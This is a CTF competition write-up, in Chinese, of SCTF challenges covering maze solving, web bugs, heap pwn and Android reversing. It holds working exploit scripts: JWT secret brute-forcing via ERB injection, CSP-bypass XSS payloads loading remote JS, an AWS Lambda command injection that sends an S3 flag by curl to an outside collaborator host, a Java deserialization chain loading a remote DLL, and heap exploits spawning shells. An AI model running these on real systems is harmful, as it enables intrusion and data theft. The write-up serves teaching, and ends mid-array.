CTF

Misc

签到

出题人: XXX
解题人数: 260
最终分数:71
data:image/jpeg;base64,/9j/4QBkRXhpZgAATU0AKgAAAAgABYdp...

给了个图片的base64编码,某些浏览器可能渲染会截断,本来想放hint提示浏览器问题,但是直接被秒了就没放hint了,这里可能有点小坑,后端上题目的时候并没有挤在一行,结果到了题目界面却挤到一行了...这里直接快速三击三下url即可选中,复制到地址栏扫码关注公众号,然后输入cat /flag即可
图片.png

头号玩家

出题人:xxx
解题人数:75
最终分数:212

一直往前

Maaaaaaze

出题人: Kkdlong
解题人数: 27
最终分数: 434

关于树的直径(最长路径)的证明可以看:https://www.cnblogs.com/wuyiqi/archive/2012/04/08/2437424.html

#处理html部分
from bs4 import BeautifulSoup
from collections import deque
import re

with open("Maze.html", "r") as file:
    html_doc = file.read()
soup = BeautifulSoup(html_doc, 'html.parser')
lattice = soup.find_all('td')
pattern = re.compile(r'border-([a-z]+):')
maze = []
for j in range(100):
    temp1 = []
    for i in range(j * 100, j * 100 + 100):
        temp = ""
        result = pattern.findall(str(lattice[i]))
        print(result)
        if 'top' not in result:
            temp += "u"
        if 'bottom' not in result:
            temp += "d"
        if 'right' not in result:
            temp += "r"
        if 'left' not in result:
            temp += "l"
        temp1.append(temp)
    maze.append(temp1)
#bfs部分,参考Nu1l师傅的脚本,更加简洁
move = {'u': (-1, 0), 'd': (1, 0), 'l': (0, -1), 'r': (0, 1)}
queue = deque()
queue.append(((0, 0), 0))
visited = []
ans = 0
ansv = ()
while queue:
    v, res = queue.popleft()
    if res > ans:
        ans = res
        ansv = v
    if v not in visited:
        visited.append(v)
        for adj in maze[v[0]][v[1]]:
            queue.append(((v[0] + move[adj][0], v[1] + move[adj][1]), res + 1))
print(ansv, ans)

从(0,0)开始寻得一端点为(80,92),(0,0)替换为(80,92)找到另一端点为(70,21),迷宫最长路径即为4056
flag:sctf{9529fbba677729d3206b3b9073d1e9ca}

打开电动车

出题人: D0glrq & GX1000
解题人数: 19
最终分数: 526

首先用Universal radio hacker打开该文件,电动车的固定码基本都为ask调制。查看PT226X与PT224X可知:在226x
中不可能出现10这种情况,故只可能是PT224X,再查协议手册,可知地址位长度为20bit,后4位为数据位,填入即可。

图片.png
图片.png

Web

flag shop

出题人:evoA
解题人数:10
最终分数:689

扫robots.txt发现源码泄露,访问/filebak得到源码,/work路由有个功能模糊的正则匹配功能,猜测做题会用到

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

然后这里存在一个erb模版注入

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

参考https://www.anquanke.com/post/id/86867

但是只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果,结合上面那个模糊的公就可以爆破JWT secret伪造jkl购买flag即可

exp:

#python 3
import requests

import jwt
import base64
# pip install PyJWT

dic = "0123456789abcdefghijklmnopqrstuvwxyz"
secret = ""
host = "http://47.110.15.101"
authUrl = host+"/api/auth"
workUrl = host+"/work"
shopUrl = host+"/shop"

req = requests.session()
# 获取身份
req.get(authUrl)

die = False
for i in range(50):

    if die:
        break
    for j in dic:
        url = workUrl + "?SECRET=" + secret + j + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"

        res = req.get(url)
        #print(res.text)
        if secret + j in res.text:
            secret += j
            print(secret)
            break
        else:
            if j == "z":
                die = True
                break
            continue

die = False
for i in range(50):
    if die:
        break
    for j in dic:
        url = workUrl + "?SECRET=" + j + secret + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"
        res = req.get(url)
        if j + secret in res.text:
            secret = j+secret
            print(secret)
            break
        else:
            if j == "z":
                die = True
                print("get! this is SECRET: "+secret)
                break
            continue

mycookie = req.cookies.get("auth")
print(mycookie)
mysecret = jwt.decode(mycookie,secret, algorithm='HS256')

mysecret['jkl'] = 10000000000000000000000000000

mycookie = jwt.encode(mysecret,secret,algorithm='HS256')
mycookie = str(mycookie, encoding='ascii')

req.cookies.clear()

req.cookies.set("auth",mycookie)

res = req.post(shopUrl)
# req.cookies.pop(0)
flag = req.cookies.values()[1].split(".")[1].encode(encoding='utf-8')
flag += (len(flag) % 4) * b"="
flag = base64.b64decode(flag)
print(flag)
#print(req.cookies.values())
# flag = jwt.decode(flag,secret, algorithm='HS256')
#
# print(flag)

math-is-fun1

出题人:u2400
解题人数:15
最终分数:588

第一题本属于简单题, 但是无奈大部分师傅都想得太过麻烦. 使用我本来为第二题预留的思路做出了第一道题, 造成了两道题同解的情况.
首先打开题目, 提示中明确指出了存在 CSPDOMpurify , 发现开头为 hello challenge , 发现get有一个参数为 name=challenge 测试会发现这里没有任何过滤但是碍于 CSP 所以无法执行js.
翻阅 mathjax 的文档在 configuration.html 关注到有这样一种配置文件的写法

<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    extensions: ["tex2jax.js"],
    jax: ["input/TeX", "output/HTML-CSS"],
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
      processEscapes: true
    },
    "HTML-CSS": { fonts: ["TeX"] }
  });
</script>
<script type="text/javascript" src="path-to-MathJax/MathJax.js">
</script>

很容易看出, 这段js有一个奇怪的地方在 MathJax.js 被加载之前, 是不会有 MathJax 这个对象的, 更不会有 Hub 属性, 这个js执行必然是失败的, 但是却没有报错, 简单调试就会发现, MathJax 直接 eval 了这个配置文件, 所以调用里面的js的时机是在加载 MathJax.js 时.
所以只需要构造一个 type="text/x-mathjax-config"script 标签就可以绕过CSP执行任意的js代码.
payload:

name=</script><script type%3d"text/x-mathjax-config">YOU_PAYLOAD

math-is-fun2

出题人:u2400
解题人数:14
最终分数:606

这道题的思路是发现mathjax的功能大多都是动态加载的, 需要什么功能就再去加载什么功能, 但是每一次加载后续的静态文件的地址总是加载mathjax.js的域名下的某个目录.
调试发现mathjax会用正则匹配的方式获取第一次加载自己的地址, 放入root属性中, 后续的js也会从这个地址加载, 所以只要可以修改这个root属性便可以引入任意ip的静态文件. 由于 CSP 中有放置 'strict-dynamic' 标志. 所以可以直接使用自己的VPS引入外部的js, 将payload放在自己VPS根目录下的config文件夹中, 命名为 TeX-MML-AM_CHTML.js
payload:

name=%0aMathJax[%27root%27]%3d"http://xxx.xxx.xxx.xxx"

easy-web

出题人:xxx
解题人数:18
最终分数:540

考点:

  1. Vue 调试
  2. AWS Lambda + S3

第一步:

页面为一个登陆页面,尝试登陆无果。

查看页面源码,Vue 的页面,分析源码。

2个路由信息:

Untitled-4552f2cf-9bdb-45e9-8116-7f17cffc1188.png

Untitled-c2fc8a77-29b9-4257-9210-84376d082d82.png

可以看到存在 /main 路由,同时需要登陆验证,验证方式是读取 store.state 的 login 值。

可以有多种方式绕过,随意修改一处进行绕过:

Untitled-104e2b2e-f287-4fe4-9424-0c0bc404067c.png

Untitled-27aaeea7-f08b-44ca-bc92-2989496d4a62.png

第二步:

打包功能存在 命令注入,注入点为我们可控的库名。(扩展:如果可以,应该可以使用自己的 npm 包,在 package.jsonscript 字段 postinstall 注入语句,一血师傅使用的此种方法。题目来源的实际环境是不存在直接命令注入,但存在此种攻击方式。)

读取环境变量值:

在环境变量中发现是 AWS Lambda,从中读取主文件地址 LAMBDA_TASK_ROOT:/var/task,入口文件index.handlerindex.js,所以入口文件地址为 /var/task/index.js

读取文件:

可以看到在上传 AWS S3 服务的配置,省去了 accessKeyId,secretAccessKey,判断 lambda 执行角色至少具有 S3 上传服务权限。

两种方法:

第一种是读取到环境变量配置,将下面三个变量配置到本地环境变量中:

Untitled-74030f7c-2142-4713-9265-c98f0af4a62c.png

然后直接使用 awscli 来本地执行 aws s3 ls 等操作读取 flag。

第二种是使用 Lambda 本身的环境来执行相应的代码来读取 flag ( Lambda 环境本身没有 awscli

node -e "var AWS = require('aws-sdk');var s3 = new AWS.S3();var params = {Bucket: 'sctf',Key:'flaaaaaaaaag/flaaaag.txt'};s3.getObject(params, function(err, data) {require('child_process').execSync('curl https://m5s3e9c35n2r5idoco10l5urnit9hy.burpcollaborator.net/sctf?'+escape(data.Body.toString()))});"

babyEoP

出题人:Jaylin
解题人数:0
最终分数:1000

题目给了一个webshell,弱密码直接进去。

Tomcat启用了_Java Security Manager_,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。
  2. 查看lib目录,存在 commons-collections 3.1 gadget。
  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)


我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoader_、 _accessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 _Java Security Manager_。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

图片.png

  调用了 Runtime.getRuntime().load0
  1. Runtime.getRuntime().load0

图片.png

  在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。
  1. File.isAbsolute

图片.png

再看看 File 是如何判断是否是绝对路径的。

根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

public class R {
    static {
        System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
    }

    public static native void exec(String cmd);

    public R(String cmd) {
        exec(cmd);
    }
}

执行命令

javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h
#ifdef __cplusplus
extern "C" {
#endif
    JNIEXPORT void JNICALL Java_R_exec
    (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
    char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
    system(cmd);
    env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

Pwn

easywasm

出题人:0xd5f
解题人数:0
最终分数:1000

程序存在一个结构体用于保存信息记录

struct
{
      char *username;
      int password;
      char *introduction;
      void (*state)(const char *);
} record;

先说三个函数逻辑

registered()用于初始化record结构体

profile()用于打印usernameintroduction

login()用于验证usernamepassword并通过state函数指针返回登录成功或失败的状态信息

因为程序存在Z_envZ__emscripten_run_scriptZ_vi,只需要改变state即可,但是如果成功调用,还需要泄露出password

其中profile()存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道

不过带师傅们好像更热衷于ddos,Orz

exp

import requests

url = 'http://47.104.89.129:23333/'

registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'

username = 'username'
password = 'password'
introduction = 'introduction'


payload = ''
payload += 'A'*7
payload += '''
const exec=require("child_process").exec;
exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);});
'''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'

params = {
    username: '%2$0141d%1$n',
    introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')

params = {
    username: '%2$0141d%1$n',
    password: passwd
}
requests.get(login, params=params)

one_heap

出题人:zoniony
解题人数:11
最终分数:666
  1. tcache perthread corruption
  2. attack stdout leak libc base
  3. hijack free hook
  4. getshell

Brute-force attack:1/256 just a few minutes XD

from pwn import *

context.log_level = "debug"

bin = ELF("one_heap")
#libc = bin.libc
libc = ELF("libc-2.27.so")

def Debug(cmd=""):
    gdb.attach(p)
    #pause()

def add(size,content):
    p.sendlineafter("choice:", "1")
    p.sendlineafter("size:", str(size))
    p.sendlineafter("content:", content)

def delete():
    p.sendlineafter("choice:", "2")

def pwn(p):
    add(0x40,"")
    delete()
    delete()
    add(0x40,"\x10\x70")
    add(0x40,"")
    add(0x40,p64(0)*4+p64(0x0000000007000000))
    delete()
    add(0x40,"")
    add(0x18,p16(0x2760))
    #Debug()
    payload  = ""
    payload += p64(0xfbad3c80) #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    payload += p64(0)          #_IO_read_ptr
    payload += p64(0)          #_IO_read_end
    payload += p64(0)          #_IO_read_base
    payload += "\x08"          # overwrite last byte of _IO_write_base to point to libc address
    add(0x38,payload)
    libc.address = u64(p.recv(6)+'\x00\x00')-0x3ed8b0
    success("libc.address-->"+hex(libc.address))
    add(0x18,p64(0)+p64(libc.sym["__free_hook"]-8))
    add(0x7f,"/bin/sh\x00"+p64(libc.sym["system"]))
    delete()
    p.interactive()

while True:
    try:
        p = bin.process(env={"LD_PRELOAD":libc.path})
        pwn(p)
    except Exception as e:
        p.close()

two_heap

出题人:0xd5f & zoniony
解题人数:7
最终分数:769

先给师傅们说声对不起,由于上线前临时改动了一下,文件的ld路径是我测试环境的,忘记修改了导致师傅们运行不起来

这道题的本意是想考察libc2.26中malloc存在的负数溢出的漏洞,

# glibc2.26/malloc/malloc.c 1226
#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

当req在区间[-0x10,0]时存在溢出,可以申请到0x20的chunk,因此可以申请到0x20size的chunk有-0x10,0,0x10

⬇️以下内容可以不看

这里啰嗦几句,本来的size是0x10对齐,为了防止负数导致堆溢出所以不能向chunk中写数据,但是又必须要完成两次写(一次hook,一次onegadget),所以想了两个办法解决:第一种就是把0x10对齐改成0x8对齐,这样0x10和0x18都可以写数据,第二种是把read的size写死成固定值.emmm可能题出到晚上2点多脑子抽了选了第一种方案,遗漏了0x8,没能让师傅们体验到高质量的题目十分抱歉

预期解exp如下

#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe  = './two_heap'
lib  = '/opt/glibc/libc226/lib/libc-2.26.so'
ip   = '47.104.89.129'
port = 10002
elf  = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
    attach(io, gdbscript=script)

# ------------------------------------------------

def choice(idx):
    io.recvuntil('Your choice:')
    io.sendline(str(idx))

def new(size, note):
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(size))
    if size > 0:
        io.recvuntil('Input the note:')
        io.send(note)

def delete(idx):
    choice(2)
    io.recvuntil('Input the index:')
    io.sendline(str(idx))

# ------------------------------------------------

LOCAL = 0
name = '%a'*3
base_offset = 0x1af720
hook_offset = 0x1aec10
one_gadget = [0x45e0a, 0x45e5e, 0xe361b]

def exp():
    io.recvuntil(':')
    io.sendline(name)
    io.recvuntil('0x0p+00x0p+00x0.0')
    libc.address = int(io.recv(11)+'0', 16) - base_offset
    log.info(hex(libc.address))

    new(0, '')
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    new(0x10, p64(libc.address+hook_offset)+'\n')
    new(-8, '')
    new(0x18,p64(libc.address+one_gadget[2])+'\n')
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(0x20))
    io.sendline('cat flag')
    io.recv()

    io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

    if LOCAL:
        io = elf.process(env={"LD_PRELOAD":libc.path})
    else:
        io = remote(ip, port)

    exp()

easy_heap

出题人:xxx
解题人数:12
最终分数:645

备注:引用kn0ck的wp

这个pwn题漏洞很明显,在0xe2d处,看⻅该读函数存在⼀字节溢出,该字节为0。

unsigned __int64 __fastcall some_read_nterm_0end(char *dst, unsigned __int64 len)
{
 char buf; // [rsp+13h] [rbp-Dh]
 int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 v5 = __readfsqword(0x28u);
 for ( i = 0; i < len; ++i )
 {
     if ( read(0, &buf, 1uLL) <= 0 )
     {
         perror("Read failed!\n");
         exit(-1);
     }
     if ( buf == 10 )
         break;
         dst[i] = buf;
     }
     if ( i == len )
         dst[i] = 0;
     return __readfsqword(0x28u) ^ v5;
}

结合程序本身,只有程序基地址的泄露,以及mmap分配的可读/写/执⾏段的地址,没有libc或者堆栈地
址。由此⼤致可猜测这个是需要最终执⾏shellcode的。
⾸先可以使⽤⼀字节溢出进⾏unlink攻击,由此获取任意写的能⼒,将shellcode写⼊mmap段,然后就需
要考虑如何劫持控制流。
由于给的libc是2.23版本,该版本是没有对IO_File结构体的vtable进⾏检查的,所以这个可以通过篡改
unsorted bin的bk指针⾄ IO_list_all-0x10处,导致_IO_list_all被篡改,最终进⾏⼀个经典的⽂件结构体伪
造,vtable即指向我们可控的程序段,⾥⾯则写上mmap段地址,当出现堆错误打印信息时,即可触发。

from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    context.log_level = 'debug'
 #-----function for quick script-----#
    s         = lambda data :ctx.send(str(data)) #in case that data is a int
    sa         = lambda delim,data :ctx.sendafter(str(delim), str(data))
    st         = lambda delim,data :ctx.sendthen(str(delim), str(data))
    sl         = lambda data :ctx.sendline(str(data))
    sla     = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
    r         = lambda numb=4096 :ctx.recv(numb)
    ru         = lambda delims, drop=True :ctx.recvuntil(delims, drop)
    irt     = lambda :ctx.interactive()

    rs         = lambda *args, **kwargs :ctx.start(*args, **kwargs)
    leak     = lambda address, count=0 :ctx.leak(address, count)

    uu32     = lambda data :u32(data.ljust(4, '\0'))
    uu64     = lambda data :u64(data.ljust(8, '\0'))

    ctx.binary = './easy_heap'
    ctx.remote = ('132.232.100.67', 10004)

    ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_amd64'
    #ctx.remote_libc = './libc.so.6'
    ctx.debug_remote_libc = True

    ctx.symbols = {
        'lst':0x202060,
        'cnt':0x202040,
    }
    def add(size):
        sl(1)
        sla('Size', size)
        ru('Address ')
        addr = int(ru('\n'), 16)
        return addr

    def free(idx):
        sl(2)
        sla('Index', idx)

    def fill(idx, content):
        sl(3)
        sla('Index', idx)
        sa('Content', content)


    while True:
        try:
            rs('remote')
            #ctx.debug(gdbscript='c')

            ru('Mmap: ')
            mmap_addr = int(ru('\n'), 16)

            prog_base = add(0xf8) - 0x202068
            add(0xf0)

            add(0x20)

            target = prog_base+0x202068
            payload1 = p64(0) + p64(0xf1)
            payload1 += p64(target-0x18) + p64(target-0x10)
            payload1 = payload1.ljust(0xf0, '\0')
            payload1 += p64(0xf0)
            fill(0, payload1)

            #unlink
            free(1)

            def vuln_write(addr, content):
                payload = p64(0) + p64(0)
                payload += p64(0xf8) + p64(prog_base+0x202050)
                payload += p64(0x1000) + p64(addr)
                fill(0, payload + '\n')
                sleep(0.5)
                fill(1, content + '\n')


            vuln_write(mmap_addr, asm(shellcraft.sh()))

            add(0x20)

            payload2 = p64(0) + p64(0)
            payload2 += p64(0xf8) + p64(prog_base+0x202050)
            payload2 += p64(0) + p64(0)
            RE
            payload2 += p64(0) + p64(0)
            payload2 += p64(8) + '\x48'
            fill(0, payload2 + '\n')
            fill(3, '\x61\x00\n')


            payload3 = p64(0) + p64(0)
            payload3 += p64(0xf8) + p64(prog_base+0x202050)
            payload3 += p64(0) + p64(0)
            payload3 += p64(0) + p64(0)
            payload3 += p64(8) + '\x58'
            fill(0, payload3 + '\n')
            fill(3, '\x10\x75\n')


            payload4 = p64(0) + p64(0)
            payload4 += p64(0xf8) + p64(prog_base+0x202050)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0) + p64(0)
            payload4 += p64(0x1000) + '\x60'
            fill(0, payload4 + '\n')
            fake_vtable = prog_base + 0x202070
            payload5 = p64(2) + p64(3)
            payload5 = payload5.ljust(0xb8,'\x00')
            payload5 += p64(fake_vtable)

            fill(3, payload5 + '\n')

            payload6 = p64(0) + p64(0)
            payload6 += p64(0xf8) + p64(prog_base+0x202050)
            payload6 += p64(mmap_addr) * 8
            fill(0, payload6 + '\n')

            #now trigger
            sleep(0.1)
            sl(1)
            sla('Size', 1)
            sleep(0.1)
            if ctx.connected():
            irt()
        except EOFError:
            pass

Re

music

出题人:0x指纹
解题人数:12
最终分数:645

app 打开后会播放《早春的树》,播放完后才能输入 flag,若错误需要重新听歌,可将 app 入 口活动改为 Main2Activity,即可直接输入 flag。

MainActivity 播放歌曲,进入 Main2Activity 点击按钮后会启动和绑定一个服务,即类 s。
类 s 中的 a 方法是进行 md5 加密。方法是查询 sctf.db 返回字符串” hellosctf”。方法是变形 的 rc4 加密,对输入进行加密,密钥是 md5 加密”hellosctf”。方法 g 是加密得到的密文和” C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3AhC3A7C29A1654C3AF28C3A1C2B12 15B53”进行对比。

点击按钮后面的过程就是对输入进行变形 rc4 加密,再进行对比。
注意有一个类 p,作用是 Bytes->HexString.toUpperCase(),在 md5 加密后得到的 bytes 和变

形 rc4 加密得到的 String 进行 getBytes()得到的 bytes 都进行了这样的处理。

说一下 rc4 的变形,除了最后的 String 字符串每个字符赋值处的一行代码有改动外,还有就 是对得到的 String 先 getBytes(),然后再 Bytes->HexString.toUpperCase()。 因此在写脚本时候,需要先将对比的字符串进行 HexString->Bytes,接着 String(Byte[])得到 String,然后即可正常进行 rc4 解密。

当然 rc4 是流加密,还可以进行爆破。

Strange apk

出题人:0xE4s0n
解题人数:28
最终分数:425

壳程序分析

在AndroidManifest中发现程序主活动与包名不同

并且自定义了Application

图片.png

图片.png

发现重写了attachBaseContext方法从Assets文件夹取出"data"文件加载为apk

而加载时又对文件进行了解密操作
图片.png
又在oncreate方法中通过反射动态加载了解出的apk的activity
图片.png

脱壳

本来解密后的apk是从/data/data/sctf.hello被删除了的

由于出题组疏忽放错了题目,没有删除可以直接copy出来

下面讲一讲删除后怎么做

方法一

看懂代码后 只需要将data文件取出进行解密

图片.png

方法二

在壳程序将源程序加载到data目录后,反射启动源程序前,下断点

即可在/data/data/sctf.hello文件夹下copy出源程序

方法三

利用内存dump工具将加载到内存的源程序dump出来,例如GG修改器

分析源程序

源程序对输入的字符进行了分隔

前半部分进行了base64加密

图片.png

后半部分与MD5加密后的"syclover"相拼接
图片.png

图片.png

payload
import base64
import sys

str1 = "c2N0ZntXM2xjMG1l"
str2 = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8"

j = 0
sys.stdout.write(base64.b64decode(str1))
for i in str2:
    if j % 2 == 0:
        sys.stdout.write(i)
    j += 1

flag:sctf{W3lc0me~t0_An4r0id-w0rld}

Who is he?

出题人:xxx
解题人数:5
最终分数:833

1.正常逆向得解密算法。
2.解密。Net得解密算法

ojbk

出题人:0xpoker
解题人数:0
最终分数:1000

备注: python加密脚本

import os
import sys
import struct

big_box = [0x16A7ACAC, 0x47B82F2F, 0xAE316666, 0x89F10101, 0x9A084545, 0xFD985252, 0x3562CCCC, 0x3FDE7575, 0x56F7DCDC, 0x7532BCBC, 0x4FB22121, 0x9359A4A4, 0x03ED5858, 0xB896CACA, 0x3D68C2C2, 0xE26E1F1F, 0xFA700D0D, 0xAF6A8989, 0xEF3AF9F9, 0x67901717, 0xB7749B9B, 0x04050707, 0xA7608787, 0xED8C4E4E, 0x44557777, 0xECD7A1A1, 0xCF12C1C1, 0xF5925C5C, 0xBA207D7D, 0x53A93434, 0x1FF64D4D, 0x88AAEEEE, 0xC4F59797, 0x0ABCB9B9, 0xA48DDFDF, 0x6929A9A9, 0xF4C9B3B3, 0x5C4B6565, 0xDE5D3232, 0x0BE75656, 0x02B6B7B7, 0xB62F7474, 0xF321ECEC, 0x76DFE4E4, 0xEE611616, 0x2A948181, 0xC31DC8C8, 0x6F9A1919, 0x0EB9BEBE, 0xD4E18B8B, 0xF99D5555, 0x63951010, 0x551A8484, 0xB9CD2525, 0xC5AE7878, 0x07E85F5F, 0x8E195E5E, 0x368F9494, 0x1945FDFD, 0xE730F7F7, 0xBF7E9595, 0xC8FA9E9E, 0x2E918686, 0x4EE9CECE, 0x34392323, 0xF8C6BABA, 0x7D38B2B2, 0x38362A2A, 0x85FE0808, 0xF0CCB4B4, 0x43BD2828, 0x50446C6C, 0xCA4C2929, 0xB499C3C3, 0xE9894949, 0xD70CD3D3, 0xD0E48C8C, 0x055EE8E8, 0x3167CBCB, 0x6C774141, 0x181E1212, 0x450E9898, 0xF724EBEB, 0xDF06DDDD, 0x9DE01A1A, 0xBB7B9292, 0xCE492E2E, 0xB5C22C2C, 0x5AF8D5D5, 0x4D049696, 0x1D40FAFA, 0xCDA47676, 0x6B9F1E1E, 0x80A0E0E0, 0x8DF40606, 0xD9B56D6D, 0x96074C4C, 0x95EA1414, 0xA63B6868, 0x52F2DBDB, 0x647D4F4F, 0x92024B4B, 0x13F94444, 0xD5BA6464, 0x9B53AAAA, 0xE4DDAFAF, 0xC6432020, 0x12A2ABAB, 0x9F56ADAD, 0xB3719C9C, 0xBDC82222, 0xA3658080, 0x6D2CAEAE, 0x242D3F3F, 0x303C2424, 0xD2523B3B, 0x6EC1F6F6, 0x81FB0F0F, 0xAA346161, 0x14111B1B, 0x3C332D2D, 0x62CEFFFF, 0x82165757, 0xA9D93939, 0x114FF3F3, 0x3A809D9D, 0x975CA3A3, 0x706C5454, 0xA5D63030, 0x5FA63D3D, 0x49019191, 0x00000000, 0x584E6262, 0x74695353, 0x9CBBF5F5, 0x2BCF6E6E, 0xE335F0F0, 0x8CAFE9E9, 0x72DAE3E3, 0x37D47B7B, 0xA1D33737, 0x834DB8B8, 0x73810C0C, 0x1C1B1515, 0x2979D9D9, 0xAC87D1D1, 0xDA583535, 0x6526A0A0, 0x5D108A8A, 0x4AECC9C9, 0xA882D6D6, 0x5EFDD2D2, 0xDDB06A6A, 0xBC93CDCD, 0x10141C1C, 0xB1C72B2B, 0x4BB72626, 0x28223636, 0x3E859A9A, 0xBE257A7A, 0x86135050, 0x06B3B0B0, 0x2576D0D0, 0xEB3FFEFE, 0x8F42B1B1, 0xE8D2A6A6, 0xB09CC4C4, 0x0FE25151, 0x4C5F7979, 0x7137BBBB, 0x60784848, 0x2D7CDEDE, 0xF27A0303, 0x40507070, 0x015BEFEF, 0x0C0F0909, 0x7F8E0505, 0x229E8F8F, 0x328A9393, 0x77840B0B, 0xFCC3BDBD, 0x17FC4343, 0xD6573C3C, 0xE5864040, 0x7AD0EDED, 0x6123A7A7, 0xDCEB8585, 0x33D17C7C, 0x2FCA6969, 0xFB2BE2E2, 0x2173D7D7, 0x78665A5A, 0x0951E1E1, 0x0D54E6E6, 0x94B1FBFB, 0x1AA8A5A5, 0x2C273131, 0x8A1C5959, 0x269B8888, 0xEA641111, 0x7ED5EAEA, 0x1BF34A4A, 0x3BDB7272, 0x1EADA2A2, 0xA23E6F6F, 0xF1975B5B, 0x42E6C7C7, 0x54416B6B, 0x66CBF8F8, 0x90B4FCFC, 0xFF2EE5E5, 0x6AC4F1F1, 0xC2462727, 0xA088D8D8, 0xC9A17171, 0xCCFF9999, 0x7C635D5D, 0x59158D8D, 0xE66B1818, 0x396DC5C5, 0x23C56060, 0x84A5E7E7, 0xAB6F8E8E, 0xE1834747, 0x57AC3333, 0xB22A7373, 0x8B47B6B6, 0xFE750A0A, 0x20283838, 0xCB17C6C6, 0xADDC3E3E, 0x511F8383, 0xE0D8A8A8, 0xF67F0404, 0x793DB5B5, 0x154AF4F4, 0x68724646, 0x99E51D1D, 0x7B8B0202, 0xC718CFCF, 0x46E3C0C0, 0x485A7E7E, 0x98BEF2F2, 0xD8EE8282, 0x410B9F9F, 0x9E0D4242, 0xC0F09090, 0x080A0E0E, 0xDB03DADA, 0x27C06767, 0x5BA33A3A, 0xD309D4D4, 0x8748BFBF, 0xC1AB7F7F, 0x91EF1313, 0xD1BF6363, 0x9B9B74B7, 0x3131272C, 0xB6B6478B, 0x94948F36, 0x77775544, 0x29294CCA, 0x7E7E5A48, 0xEDEDD07A, 0x4444F913, 0x59591C8A, 0x8D8D1559, 0xE4E4DF76, 